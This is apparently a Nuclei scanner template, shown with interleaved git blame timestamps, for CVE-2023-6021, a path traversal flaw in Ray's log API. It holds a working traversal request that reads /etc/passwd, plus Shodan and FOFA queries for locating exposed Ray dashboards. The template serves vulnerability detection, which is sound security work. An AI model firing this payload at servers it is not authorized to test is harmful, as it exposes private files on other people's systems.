2023-12-05 16:49:31 +00:00
|
|
|
id: CVE-2023-6021
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Ray API - Local File Inclusion
|
|
|
|
author: byt3bl33d3r
|
|
|
|
severity: high
|
|
|
|
description: |
|
|
|
|
LFI in Ray's log API endpoint allows attackers to read any file on the server without authentication.
|
|
|
|
reference:
|
|
|
|
- https://huntr.com/bounties/5039c045-f986-4cbc-81ac-370fe4b0d3f8/
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-6021
|
|
|
|
classification:
|
2023-12-12 11:07:52 +00:00
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
2023-12-05 16:49:31 +00:00
|
|
|
cvss-score: 7.5
|
|
|
|
cve-id: CVE-2023-6021
|
|
|
|
cwe-id: CWE-22,CWE-29
|
2024-03-23 09:28:19 +00:00
|
|
|
epss-score: 0.0038
|
2024-05-31 19:23:20 +00:00
|
|
|
epss-percentile: 0.72895
|
2023-12-05 16:49:31 +00:00
|
|
|
cpe: cpe:2.3:a:ray_project:ray:-:*:*:*:*:*:*:*
|
|
|
|
metadata:
|
|
|
|
verified: true
|
2023-12-12 11:07:52 +00:00
|
|
|
max-request: 2
|
|
|
|
vendor: ray_project
|
|
|
|
product: ray
|
2024-06-07 10:04:29 +00:00
|
|
|
shodan-query:
|
|
|
|
- html:"Ray Dashboard"
|
|
|
|
- http.favicon.hash:463802404
|
|
|
|
- http.html:"ray dashboard"
|
|
|
|
fofa-query:
|
|
|
|
- body="ray dashboard"
|
|
|
|
- icon_hash=463802404
|
2024-01-14 09:21:50 +00:00
|
|
|
tags: cve,cve2023,lfi,ray,oos,ray_project
|
2023-12-05 16:49:31 +00:00
|
|
|
|
|
|
|
http:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/nodes?view=summary"
|
|
|
|
- "{{BaseURL}}/api/v0/logs/file?node_id={{nodeid}}&filename=../../../../../etc%2fpasswd&lines=50000"
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: regex
|
|
|
|
part: body_2
|
|
|
|
regex:
|
|
|
|
- "root:.*:0:0:"
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header_2
|
|
|
|
words:
|
|
|
|
- "text/plain"
|
|
|
|
- "aiohttp"
|
|
|
|
condition: and
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
|
|
|
|
|
|
|
extractors:
|
|
|
|
- type: json
|
|
|
|
part: body
|
|
|
|
internal: true
|
|
|
|
name: nodeid
|
|
|
|
json:
|
|
|
|
- '..|objects|.nodeId//empty[0]'
|
2024-06-08 16:02:17 +00:00
|
|
|
# digest: 4a0a00473045022100e1248f0ce74ec3ad6e929f214a946c92e4efaf53912ff535667598345e88495f02206ca3d10c0df29c683bb373a193d673c8c661b9096c6a83cfe8f81015012efe4f:922c64590222798bb761d5b6d8e72950
|